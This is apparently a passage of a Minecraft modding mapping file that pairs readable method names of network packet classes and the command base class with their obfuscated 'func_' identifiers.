net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_149337_d ()Ljava/lang/String; net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_149337_d ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_149338_e ()I net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_149338_e ()I +MD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_179817_d ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_179817_d ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; +MD: net/minecraft/network/play/server/S3EPacketTeams/getName ()Ljava/lang/String; net/minecraft/network/play/server/S3EPacketTeams/func_149312_c ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3EPacketTeams/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3EPacketTeams/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3EPacketTeams/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S3EPacketTeams/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S3EPacketTeams/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S3EPacketTeams/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S3EPacketTeams/getDisplayName ()Ljava/lang/String; net/minecraft/network/play/server/S3EPacketTeams/func_149306_d ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3EPacketTeams/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3EPacketTeams/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3EPacketTeams/getPrefix ()Ljava/lang/String; net/minecraft/network/play/server/S3EPacketTeams/func_149311_e ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3EPacketTeams/getSuffix ()Ljava/lang/String; net/minecraft/network/play/server/S3EPacketTeams/func_149309_f ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3EPacketTeams/getPlayers ()Ljava/util/Collection; net/minecraft/network/play/server/S3EPacketTeams/func_149310_g ()Ljava/util/Collection; +MD: net/minecraft/network/play/server/S3EPacketTeams/getAction ()I net/minecraft/network/play/server/S3EPacketTeams/func_149307_h ()I +MD: net/minecraft/network/play/server/S3EPacketTeams/getFriendlyFlags ()I net/minecraft/network/play/server/S3EPacketTeams/func_149308_i ()I +MD: net/minecraft/network/play/server/S3EPacketTeams/getColor ()I net/minecraft/network/play/server/S3EPacketTeams/func_179813_h ()I +MD: net/minecraft/network/play/server/S3EPacketTeams/getNameTagVisibility ()Ljava/lang/String; net/minecraft/network/play/server/S3EPacketTeams/func_179814_i ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3CPacketUpdateScore$Action/values ()[Lnet/minecraft/network/play/server/S3CPacketUpdateScore$Action; net/minecraft/network/play/server/S3CPacketUpdateScore$Action/values ()[Lnet/minecraft/network/play/server/S3CPacketUpdateScore$Action; +MD: net/minecraft/network/play/server/S3CPacketUpdateScore/getPlayerName ()Ljava/lang/String; net/minecraft/network/play/server/S3CPacketUpdateScore/func_149324_c ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3CPacketUpdateScore/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3CPacketUpdateScore/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3CPacketUpdateScore/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S3CPacketUpdateScore/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S3CPacketUpdateScore/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S3CPacketUpdateScore/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S3CPacketUpdateScore/getObjectiveName ()Ljava/lang/String; net/minecraft/network/play/server/S3CPacketUpdateScore/func_149321_d ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3CPacketUpdateScore/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3CPacketUpdateScore/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3CPacketUpdateScore/getScoreValue ()I net/minecraft/network/play/server/S3CPacketUpdateScore/func_149323_e ()I +MD: net/minecraft/network/play/server/S3CPacketUpdateScore/getScoreAction ()Lnet/minecraft/network/play/server/S3CPacketUpdateScore$Action; net/minecraft/network/play/server/S3CPacketUpdateScore/func_180751_d ()Lnet/minecraft/network/play/server/S3CPacketUpdateScore$Action; +MD: net/minecraft/network/play/server/S05PacketSpawnPosition/getSpawnPos ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S05PacketSpawnPosition/func_179800_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S05PacketSpawnPosition/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S05PacketSpawnPosition/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S05PacketSpawnPosition/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S05PacketSpawnPosition/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S05PacketSpawnPosition/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S05PacketSpawnPosition/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S05PacketSpawnPosition/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S05PacketSpawnPosition/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S03PacketTimeUpdate/getTotalWorldTime ()J net/minecraft/network/play/server/S03PacketTimeUpdate/func_149366_c ()J +MD: net/minecraft/network/play/server/S03PacketTimeUpdate/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S03PacketTimeUpdate/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S03PacketTimeUpdate/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S03PacketTimeUpdate/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S03PacketTimeUpdate/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S03PacketTimeUpdate/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S03PacketTimeUpdate/getWorldTime ()J net/minecraft/network/play/server/S03PacketTimeUpdate/func_149365_d ()J +MD: net/minecraft/network/play/server/S03PacketTimeUpdate/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S03PacketTimeUpdate/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S45PacketTitle$Type/getNames ()[Ljava/lang/String; net/minecraft/network/play/server/S45PacketTitle$Type/func_179971_a ()[Ljava/lang/String; +MD: net/minecraft/network/play/server/S45PacketTitle$Type/byName (Ljava/lang/String;)Lnet/minecraft/network/play/server/S45PacketTitle$Type; net/minecraft/network/play/server/S45PacketTitle$Type/func_179969_a (Ljava/lang/String;)Lnet/minecraft/network/play/server/S45PacketTitle$Type; +MD: net/minecraft/network/play/server/S45PacketTitle$Type/values ()[Lnet/minecraft/network/play/server/S45PacketTitle$Type; net/minecraft/network/play/server/S45PacketTitle$Type/values ()[Lnet/minecraft/network/play/server/S45PacketTitle$Type; +MD: net/minecraft/network/play/server/S45PacketTitle/getType ()Lnet/minecraft/network/play/server/S45PacketTitle$Type; net/minecraft/network/play/server/S45PacketTitle/func_179807_a ()Lnet/minecraft/network/play/server/S45PacketTitle$Type; +MD: net/minecraft/network/play/server/S45PacketTitle/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S45PacketTitle/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S45PacketTitle/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S45PacketTitle/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S45PacketTitle/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S45PacketTitle/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S45PacketTitle/getMessage ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/play/server/S45PacketTitle/func_179805_b ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/play/server/S45PacketTitle/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S45PacketTitle/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S45PacketTitle/getFadeInTime ()I net/minecraft/network/play/server/S45PacketTitle/func_179806_c ()I +MD: net/minecraft/network/play/server/S45PacketTitle/getDisplayTime ()I net/minecraft/network/play/server/S45PacketTitle/func_179804_d ()I +MD: net/minecraft/network/play/server/S45PacketTitle/getFadeOutTime ()I net/minecraft/network/play/server/S45PacketTitle/func_179803_e ()I +MD: net/minecraft/network/play/server/S33PacketUpdateSign/getPos ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S33PacketUpdateSign/func_179704_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S33PacketUpdateSign/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S33PacketUpdateSign/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S33PacketUpdateSign/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S33PacketUpdateSign/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S33PacketUpdateSign/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S33PacketUpdateSign/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S33PacketUpdateSign/getLines ()[Lnet/minecraft/util/IChatComponent; net/minecraft/network/play/server/S33PacketUpdateSign/func_180753_b ()[Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/play/server/S33PacketUpdateSign/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S33PacketUpdateSign/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/getHeader ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/func_179700_a ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/getFooter ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/func_179701_b ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S0DPacketCollectItem/getCollectedItemEntityID ()I net/minecraft/network/play/server/S0DPacketCollectItem/func_149354_c ()I +MD: net/minecraft/network/play/server/S0DPacketCollectItem/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0DPacketCollectItem/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S0DPacketCollectItem/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S0DPacketCollectItem/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S0DPacketCollectItem/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S0DPacketCollectItem/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S0DPacketCollectItem/getEntityID ()I net/minecraft/network/play/server/S0DPacketCollectItem/func_149353_d ()I +MD: net/minecraft/network/play/server/S0DPacketCollectItem/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0DPacketCollectItem/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/getEntityId ()I net/minecraft/network/play/server/S18PacketEntityTeleport/func_149451_c ()I +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S18PacketEntityTeleport/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S18PacketEntityTeleport/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S18PacketEntityTeleport/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/getX ()I net/minecraft/network/play/server/S18PacketEntityTeleport/func_149449_d ()I +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S18PacketEntityTeleport/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/getY ()I net/minecraft/network/play/server/S18PacketEntityTeleport/func_149448_e ()I +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/getZ ()I net/minecraft/network/play/server/S18PacketEntityTeleport/func_149446_f ()I +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/getYaw ()B net/minecraft/network/play/server/S18PacketEntityTeleport/func_149450_g ()B +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/getPitch ()B net/minecraft/network/play/server/S18PacketEntityTeleport/func_149447_h ()B +MD: net/minecraft/network/play/server/S18PacketEntityTeleport/getOnGround ()Z net/minecraft/network/play/server/S18PacketEntityTeleport/func_179697_g ()Z +MD: net/minecraft/command/CommandBase$CoordinateArg/func_179628_a ()D net/minecraft/command/CommandBase$CoordinateArg/func_179628_a ()D +MD: net/minecraft/command/CommandBase$CoordinateArg/func_179629_b ()D net/minecraft/command/CommandBase$CoordinateArg/func_179629_b ()D +MD: net/minecraft/command/CommandBase$CoordinateArg/func_179630_c ()Z net/minecraft/command/CommandBase$CoordinateArg/func_179630_c ()Z +MD: net/minecraft/command/CommandBase/getRequiredPermissionLevel ()I net/minecraft/command/CommandBase/func_82362_a ()I +MD: net/minecraft/command/CommandBase/parseCoordinate (DLjava/lang/String;IIZ)Lnet/minecraft/command/CommandBase$CoordinateArg; net/minecraft/command/CommandBase/func_175767_a (DLjava/lang/String;IIZ)Lnet/minecraft/command/CommandBase$CoordinateArg; +MD: net/minecraft/command/CommandBase/parseCoordinate (DLjava/lang/String;Z)Lnet/minecraft/command/CommandBase$CoordinateArg; net/minecraft/command/CommandBase/func_175770_a (DLjava/lang/String;Z)Lnet/minecraft/command/CommandBase$CoordinateArg; +MD: net/minecraft/command/CommandBase/setAdminCommander (Lnet/minecraft/command/IAdminCommand;)V net/minecraft/command/CommandBase/func_71529_a (Lnet/minecraft/command/IAdminCommand;)V +MD: net/minecraft/command/CommandBase/parseInt (Ljava/lang/String;)I net/minecraft/command/CommandBase/func_175755_a (Ljava/lang/String;)I +MD: net/minecraft/command/CommandBase/parseDouble (Ljava/lang/String;D)D net/minecraft/command/CommandBase/func_180526_a (Ljava/lang/String;D)D +MD: net/minecraft/command/CommandBase/parseDouble (Ljava/lang/String;DD)D net/minecraft/command/CommandBase/func_175756_a (Ljava/lang/String;DD)D +MD: net/minecraft/command/CommandBase/parseInt (Ljava/lang/String;I)I net/minecraft/command/CommandBase/func_180528_a (Ljava/lang/String;I)I +MD: net/minecraft/command/CommandBase/parseInt (Ljava/lang/String;II)I net/minecraft/command/CommandBase/func_175764_a (Ljava/lang/String;II)I +MD: net/minecraft/command/CommandBase/parseLong (Ljava/lang/String;JJ)J net/minecraft/command/CommandBase/func_175760_a (Ljava/lang/String;JJ)J +MD: net/minecraft/command/CommandBase/doesStringStartWith (Ljava/lang/String;Ljava/lang/String;)Z net/minecraft/command/CommandBase/func_71523_a (Ljava/lang/String;Ljava/lang/String;)Z +MD: net/minecraft/command/CommandBase/joinNiceStringFromCollection (Ljava/util/Collection;)Ljava/lang/String; net/minecraft/command/CommandBase/func_96333_a (Ljava/util/Collection;)Ljava/lang/String; +MD: net/minecraft/command/CommandBase/join (Ljava/util/List;)Lnet/minecraft/util/IChatComponent; net/minecraft/command/CommandBase/func_180530_a (Ljava/util/List;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/command/CommandBase/compareTo (Lnet/minecraft/command/ICommand;)I net/minecraft/command/CommandBase/compareTo (Lnet/minecraft/command/ICommand;)I +MD: net/minecraft/command/CommandBase/canCommandSenderUseCommand (Lnet/minecraft/command/ICommandSender;)Z net/minecraft/command/CommandBase/func_71519_b (Lnet/minecraft/command/ICommandSender;)Z +MD: net/minecraft/command/CommandBase/getPlayer (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/entity/player/EntityPlayerMP; net/minecraft/command/CommandBase/func_82359_c (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/entity/player/EntityPlayerMP; +MD: net/minecraft/command/CommandBase/getEntity (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Ljava/lang/Class;)Lnet/minecraft/entity/Entity; net/minecraft/command/CommandBase/func_175759_a (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Ljava/lang/Class;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/command/CommandBase/notifyOperators (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/command/ICommand;ILjava/lang/String;[Ljava/lang/Object;)V net/minecraft/command/CommandBase/func_152374_a (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/command/ICommand;ILjava/lang/String;[Ljava/lang/Object;)V +MD: net/minecraft/command/CommandBase/notifyOperators (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/command/ICommand;Ljava/lang/String;[Ljava/lang/Object;)V net/minecraft/command/CommandBase/func_152373_a (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/command/ICommand;Ljava/lang/String;[Ljava/lang/Object;)V +MD: net/minecraft/command/CommandBase/getChatComponentFromNthArg (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)Lnet/minecraft/util/IChatComponent; net/minecraft/command/CommandBase/func_147178_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;I)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/command/CommandBase/parseBlockPos (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;IZ)Lnet/minecraft/util/BlockPos; net/minecraft/command/CommandBase/func_175757_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;IZ)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/command/CommandBase/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandBase/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandBase/joinNiceString ([Ljava/lang/Object;)Ljava/lang/String; net/minecraft/command/CommandBase/func_71527_a ([Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/command/CommandBase/buildString ([Ljava/lang/String;I)Ljava/lang/String; net/minecraft/command/CommandBase/func_180529_a ([Ljava/lang/String;I)Ljava/lang/String; +MD: net/minecraft/command/CommandBase/func_175771_a ([Ljava/lang/String;ILnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandBase/func_175771_a ([Ljava/lang/String;ILnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandBase/getListOfStringsMatchingLastWord ([Ljava/lang/String;Ljava/util/Collection;)Ljava/util/List; net/minecraft/command/CommandBase/func_175762_a ([Ljava/lang/String;Ljava/util/Collection;)Ljava/util/List; +MD: net/minecraft/command/CommandBase/getListOfStringsMatchingLastWord ([Ljava/lang/String;[Ljava/lang/String;)Ljava/util/List; net/minecraft/command/CommandBase/func_71530_a ([Ljava/lang/String;[Ljava/lang/String;)Ljava/util/List; +MD: net/minecraft/command/CommandBase/getCommandAliases ()Ljava/util/List; net/minecraft/command/CommandBase/func_71514_a ()Ljava/util/List; +MD: net/minecraft/command/CommandBase/parseDouble (DLjava/lang/String;IIZ)D net/minecraft/command/CommandBase/func_175769_b (DLjava/lang/String;IIZ)D +MD: net/minecraft/command/CommandBase/parseDouble (DLjava/lang/String;Z)D net/minecraft/command/CommandBase/func_175761_b (DLjava/lang/String;Z)D +MD: net/minecraft/command/CommandBase/parseLong (Ljava/lang/String;)J net/minecraft/command/CommandBase/func_175766_b (Ljava/lang/String;)J +MD: net/minecraft/command/CommandBase/getCommandSenderAsPlayer (Lnet/minecraft/command/ICommandSender;)Lnet/minecraft/entity/player/EntityPlayerMP; net/minecraft/command/CommandBase/func_71521_c (Lnet/minecraft/command/ICommandSender;)Lnet/minecraft/entity/player/EntityPlayerMP; +MD: net/minecraft/command/CommandBase/getEntity (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/entity/Entity; net/minecraft/command/CommandBase/func_175768_b (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/command/CommandBase/getChatComponentFromNthArg (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;IZ)Lnet/minecraft/util/IChatComponent; net/minecraft/command/CommandBase/func_147176_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;IZ)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/command/CommandBase/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandBase/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandBase/func_181043_b ([Ljava/lang/String;ILnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandBase/func_181043_b ([Ljava/lang/String;ILnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandBase/parseDouble (Ljava/lang/String;)D net/minecraft/command/CommandBase/func_175765_c (Ljava/lang/String;)D +MD: net/minecraft/command/CommandBase/func_175763_c (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Ljava/util/List; net/minecraft/command/CommandBase/func_175763_c (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Ljava/util/List; +MD: net/minecraft/command/CommandBase/compareTo (Ljava/lang/Object;)I net/minecraft/command/CommandBase/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/command/CommandBase/parseBoolean (Ljava/lang/String;)Z net/minecraft/command/CommandBase/func_180527_d (Ljava/lang/String;)Z +MD: net/minecraft/command/CommandBase/getPlayerName (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Ljava/lang/String; net/minecraft/command/CommandBase/func_96332_d (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/command/CommandBase/getEntityName (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Ljava/lang/String; net/minecraft/command/CommandBase/func_175758_e (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/command/CommandBase/getItemByText (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/item/Item; net/minecraft/command/CommandBase/func_147179_f (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/item/Item; +MD: net/minecraft/command/CommandBase/getBlockByText (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/block/Block; net/minecraft/command/CommandBase/func_147180_g (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/block/Block; +MD: net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/func_151409_a ()Ljava/lang/String; net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/func_151409_a ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/func_151410_b ()D net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/func_151410_b ()D +MD: net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/func_151408_c ()Ljava/util/Collection; net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/func_151408_c ()Ljava/util/Collection; +MD: net/minecraft/network/play/server/S20PacketEntityProperties/getEntityId ()I net/minecraft/network/play/server/S20PacketEntityProperties/func_149442_c ()I +MD: net/minecraft/network/play/server/S20PacketEntityProperties/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S20PacketEntityProperties/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S20PacketEntityProperties/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S20PacketEntityProperties/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S20PacketEntityProperties/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S20PacketEntityProperties/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S20PacketEntityProperties/func_149441_d ()Ljava/util/List; net/minecraft/network/play/server/S20PacketEntityProperties/func_149441_d ()Ljava/util/List; +MD: net/minecraft/network/play/server/S20PacketEntityProperties/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S20PacketEntityProperties/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1DPacketEntityEffect/func_149429_c ()Z net/minecraft/network/play/server/S1DPacketEntityEffect/func_149429_c ()Z +MD: net/minecraft/network/play/server/S1DPacketEntityEffect/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S1DPacketEntityEffect/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1DPacketEntityEffect/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S1DPacketEntityEffect/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S1DPacketEntityEffect/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S1DPacketEntityEffect/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S1DPacketEntityEffect/getEntityId ()I net/minecraft/network/play/server/S1DPacketEntityEffect/func_149426_d ()I +MD: net/minecraft/network/play/server/S1DPacketEntityEffect/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S1DPacketEntityEffect/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1DPacketEntityEffect/getEffectId ()B net/minecraft/network/play/server/S1DPacketEntityEffect/func_149427_e ()B +MD: net/minecraft/network/play/server/S1DPacketEntityEffect/getAmplifier ()B net/minecraft/network/play/server/S1DPacketEntityEffect/func_149428_f ()B +MD: net/minecraft/network/play/server/S1DPacketEntityEffect/getDuration ()I net/minecraft/network/play/server/S1DPacketEntityEffect/func_180755_e ()I +MD: net/minecraft/network/play/server/S1DPacketEntityEffect/func_179707_f ()Z 